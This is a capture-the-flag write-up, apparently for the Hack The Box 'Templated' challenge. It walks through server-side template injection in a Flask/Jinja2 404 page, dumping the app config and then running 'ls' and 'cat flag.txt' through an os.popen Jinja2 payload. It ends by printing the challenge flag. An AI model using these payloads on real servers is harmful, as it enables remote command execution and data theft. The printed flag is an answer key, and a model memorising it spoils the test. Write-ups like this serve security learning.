


[20 Points] Templated [by cclubby789] [1476 solvers] 436 👍 17 🗑️ Difficulty: 

🔥 First Blood: R4J

Can you exploit this simple mistake?

⏹ Stop Instance host: 144.126.196.214:32329

Connect to 144.126.196.214:32329

## Site still under construction

Proudly powered by Flask/Jinja2


While monitoring the network simultaneously there is nothing there.

Trying to search /robots.txt – Nope

What about Flask/Jinja2? What it is?

Server side is actually built from python library with special looking for variables: {{user.name}}, etc..

When I inject some string like "Michael" I saw:

Name	Status	Type	Initiator	Size	Time	Waterfall
 Mlchael	200	docu...	Other	228 B	152 ms	

## Error 404

The page 'Michael' could not be found

```
<html>
  <head></head>
  <body data-new-gr-c-s-check-loaded="...>
    <h1>Error 404</h1>
    <p>
      "The page '"
      <str>Michael</str>
      "' could not be found"
    </p>
  </body>
</html>
```

So this is server side injection but we need to figure it out which code to inject...

After some search in <https://github.com/payloadbox/ssti-payloads>

I injected to the path: "{{config.items()}}" the results:

## Error 404

The page 'dict\_items([('ENV', 'production'), ('DEBUG', False), ('TESTING', False), ('PROPAGATE\_EXCEPTIONS', None), ('PRESERVE\_CONTEXT\_ON\_EXCEPTION', None), ('SECRET\_KEY', None), ('PERMANENT\_SESSION\_LIFETIME', datetime.timedelta(days=31)), ('USE\_X\_SENDFILE', False), ('SERVER\_NAME', None), ('APPLICATION\_ROOT', '/'), ('SESSION\_COOKIE\_NAME', 'session'), ('SESSION\_COOKIE\_DOMAIN', None), ('SESSION\_COOKIE\_PATH', None), ('SESSION\_COOKIE\_HTTPONLY', True), ('SESSION\_COOKIE\_SECURE', False), ('SESSION\_COOKIE\_SAMESITE', None), ('SESSION\_REFRESH\_EACH\_REQUEST', True), ('MAX\_CONTENT\_LENGTH', None), ('SEND\_FILE\_MAX\_AGE\_DEFAULT', datetime.timedelta(seconds=43200)), ('TRAP\_BAD\_REQUEST\_ERRORS', None), ('TRAP\_HTTP\_EXCEPTIONS', False), ('EXPLAIN\_TEMPLATE\_LOADING', False), ('PREFERRED\_URL\_SCHEME', 'http'), ('JSON\_AS\_ASCII', True), ('JSON\_SORT\_KEYS', True), ('JSONIFY\_PRETTYPRINT\_REGULAR', False), ('JSONIFY\_MIMETYPE', 'application/json'), ('TEMPLATES\_AUTO\_RELOAD', None), ('MAX\_COOKIE\_SIZE', 4093))]' could not be found

I saw that the server leak data like I wanted...

I played with around and get:

```
{{config.__class__.__init__.__globals__['os'].popen('ls').read()}}
```

## Error 404

The page 'bin boot dev etc flag.txt home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var ' could not be found

So I injected: {{config.\_\_class\_\_.\_\_init\_\_.\_\_globals\_\_['os'].popen('cat flag.txt').read()}}

## Error 404

The page 'HTB{t3mpl4t3s\_4r3\_m0r3\_p0w3rfu1\_th4n\_u\_th1nk!}' could not be found

Flag: HTB{t3mpl4t3s\_4r3\_m0r3\_p0w3rfu1\_th4n\_u\_th1nk!}